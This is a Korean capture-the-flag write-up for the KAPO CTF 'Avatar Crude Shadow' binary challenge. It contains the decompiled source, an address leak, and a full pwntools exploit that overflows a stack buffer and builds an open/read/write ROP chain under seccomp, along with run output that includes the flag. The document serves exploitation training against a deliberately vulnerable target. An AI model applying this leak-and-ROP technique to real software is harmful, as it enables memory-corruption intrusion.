해당 문제는 KAPO CTF 에 출제된 문제입니다.

    Description

    Solved by two people together, but one monitor, one keyboard, each.
    Might be better if done alone!

    FYI

    1. flag length = 33
    2. timeout = 20s

    checksec

    seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ checksec ./avatar
    [*] '/home/seo/Desktop/Avatar_Crude_Shadow/avatar'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    SSP 보호기법이 적용되어있지 않다.


    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [rsp+2Ch] [rbp-B4h] BYREF
      char v5[80]; // [rsp+30h] [rbp-B0h] BYREF
      char buf[88]; // [rsp+80h] [rbp-60h] BYREF
      unsigned int v7; // [rsp+D8h] [rbp-8h] BYREF
      int v8; // [rsp+DCh] [rbp-4h]
    
      v7 = 0;
      push_shadow(&v7, v5);
      setup();
      init_seccomp();
      puts("shadow test");
      v8 = 0;
      do
      {
        menu();
        __isoc99_scanf("%d", &v4);
        switch ( v4 )
        {
          case 1:
            print_shadow(v7, v5);
            break;
          case 2:
            puts("string input:");
            read(0, buf, 0x400uLL);
            break;
          case 3:
            nested_func(&v7, v5);
            break;
          case 4:
            puts("lol you can't");
            break;
          case 5:
            v8 = 1;
            break;
          default:
            puts("nono");
            break;
        }
      }
      while ( !v8 );
      print_shadow(v7, v5);
      pop_shadow(&v7, v5);
      return 0;
    }

    init_seccomp

    다음 시스템 콜만 허용하고 있다.

    • sys_rt_sigreturn
    • sys_exit
    • sys_exit_group
    • sys_read
    • sys_write
    • sys_open
    • sys_openat

    print_shadow

    int __fastcall print_shadow(unsigned int a1, __int64 a2)
    {
      int i; // [rsp+1Ch] [rbp-4h]
    
      puts("current shadow:");
      for ( i = 0; i < (int)a1; ++i )
        printf("%p\n", *(const void **)(8LL * i + a2));
      return printf("Total of %d\n", a1);
    }

    nested_func

    __int64 __fastcall nested_func(unsigned int *a1, __int64 a2)
    {
      int v3; // [rsp+18h] [rbp-8h] BYREF
      int v4; // [rsp+1Ch] [rbp-4h]
    
      push_shadow(a1, a2);
      v4 = 0;
      puts("nested function");
      do
      {
        nested_menu();
        __isoc99_scanf("%d", &v3);
        if ( v3 == 1 )
        {
          print_shadow(*a1, a2);
        }
        else if ( v3 == 2 )
        {
          v4 = 1;
        }
        else
        {
          puts("nono");
        }
      }
      while ( !v4 );
      return pop_shadow(a1, a2);
    }
    
    int nested_menu()
    {
      puts("1. print shadows");
      return puts("2. exit");
    }
    
    __int64 __fastcall push_shadow(_DWORD *a1, __int64 a2)
    {
      int v2; // eax
      __int64 v3; // rdx
      __int64 result; // rax
      __int64 vars0; // [rsp+10h] [rbp+0h]
    
      v2 = (*a1)++;
      v3 = 8LL * v2;
      result = *(_QWORD *)(vars0 + 8);
      *(_QWORD *)(a2 + v3) = result;
      return result;
    }
    
    __int64 __fastcall pop_shadow(int *a1, __int64 a2)
    {
      __int64 result; // rax
      __int64 vars0; // [rsp+10h] [rbp+0h]
    
      --*a1;
      result = *(_QWORD *)(vars0 + 8);
      if ( *(_QWORD *)(8LL * *a1 + a2) != result )
      {
        puts("wrong shadow, abort");
        exit(-1);
      }
      return result;
    }

    print_shadow

    int __fastcall print_shadow(unsigned int a1, __int64 a2)
    {
      int i; // [rsp+1Ch] [rbp-4h]
    
      puts("current shadow:");
      for ( i = 0; i < (int)a1; ++i )
        printf("%p\n", *(const void **)(8LL * i + a2));
      return printf("Total of %d\n", a1);
    }

    Solution

    초기에 “3 .enter nested func” -> “1. print shadows”로 진입하면, 두 메모리 주소가 노출되는 것을 확인할 수 있다.

    노출된 1번째 주소는 0x7ffff7c29d90으로, libc.so.6 범위에 속해있다.

    노출된 2번째 주소는 0x555555555782로, avatar 바이너리 주소 범위에 속한다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'})
    e = ELF('./avatar', checksec=False)
    libc = ELF('./libc.so.6', checksec=False)
    
    p.sendlineafter("5. exit\n", b"3")
    p.sendlineafter("2. exit\n", b"1")
    p.recvuntil("current shadow:\n")
    current_shadow_1 = p.recvline().replace(b"\n", b"")
    current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16)
    current_shadow_2 = p.recvline().replace(b"\n", b"")
    current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16)
    print(f"current_shadow_1: {hex(current_shadow_1)}")
    print(f"current_shadow_2: {hex(current_shadow_2)}")
    libc_base = current_shadow_1 - 0x29d90
    print(f"libc_base: {hex(libc_base)}")
    bin_base = current_shadow_2 - 0x1782
    print(f"bin_base: {hex(bin_base)}")
    p.sendlineafter("2. exit\n", b"2")
    
    pause()

    이렇게 노출된 주소를 통해 각각의 base 주소를 구할 수 있다.

    solve.py

    스택 간의 거리와 값 잘 계산해서 pop_shadow에서 종료되지 않게끔 만들어야 하며,
    bof를 통해 rop문으로 open, read, write 함수만으로 flag를 읽히게 만들면 된다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'})
    #p = remote("host3.dreamhack.games", 21158)
    e = ELF('./avatar', checksec=False)
    libc = ELF('./libc.so.6', checksec=False)  #server
    
    p.sendlineafter("5. exit\n", b"3")
    p.sendlineafter("2. exit\n", b"1")
    p.recvuntil("current shadow:\n")
    current_shadow_1 = p.recvline().replace(b"\n", b"")
    current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16)
    current_shadow_2 = p.recvline().replace(b"\n", b"")
    current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16)
    print(f"current_shadow_1: {hex(current_shadow_1)}")
    print(f"current_shadow_2: {hex(current_shadow_2)}")
    libc_base = current_shadow_1 - 0x29d90
    print(f"libc_base: {hex(libc_base)}")
    bin_base = current_shadow_2 - 0x1782
    print(f"bin_base: {hex(bin_base)}")
    p.sendlineafter("2. exit\n", b"2")
    
    p.sendlineafter("5. exit\n", b"2")
    
    pop_rdi_ret = libc_base + 0x2a3e5
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_pop_r12_ret = libc_base + 0x11F497
    
    payload = p64(pop_rdi_ret)
    payload += b"A"*0x50
    payload += p32(11)
    payload += b"C"*0x4
    payload += b"D"*0x8
    
    #read(0, e.bss() + bin_base + 0x300, 200)
    payload += p64(pop_rdi_ret)
    payload += p64(0)
    payload += p64(pop_rsi_ret)
    payload += p64(e.bss() + bin_base + 0x300)
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(200)
    payload += p64(0)
    payload += p64(libc_base + libc.symbols['read'])
    
    #open(e.bss() + bin_base + 0x300, O_RDONLY, 0)
    payload += p64(pop_rdi_ret)
    payload += p64(e.bss() + bin_base + 0x300)
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(libc_base + libc.symbols['open'])
    
    #read(0, e.bss() + bin_base + 0x300, 200)
    payload += p64(pop_rdi_ret)
    payload += p64(3)
    payload += p64(pop_rsi_ret)
    payload += p64(e.bss() + bin_base + 0x300)
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(200)
    payload += p64(0)
    payload += p64(libc_base + libc.symbols['read'])
    
    #write(stdout, e.bss() + bin_base + 0x1000, 33)
    payload += p64(pop_rdi_ret)
    payload += p64(1)
    payload += p64(pop_rsi_ret)
    payload += p64(e.bss() + bin_base + 0x300)
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(33)
    payload += p64(0)
    payload += p64(libc_base + libc.symbols['write'])
    
    p.sendlineafter("string input:", payload)
    p.sendline(b'./flag\x00')
    
    p.interactive()

    Result

    seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9618: Done
    current_shadow_1: 0x7f8aa317cd90
    current_shadow_2: 0x55f8c0886782
    libc_base: 0x7f8aa3153000
    bin_base: 0x55f8c0885000
    [*] Switching to interactive mode
    
    current shadow:
    0x7f8aa317cd90
    0x55f8c0886782
    (nil)
    (nil)
    (nil)
    0x7f8aa33c0900
    0xd
    0x1
    0x1
    0x1
    0x7f8aa317d3e5
    Total of 11
    POKA{150_PLUS_ISO_T0T4L_300_HE4D}[*] Got EOF while reading in interactive
    $ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 9618

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다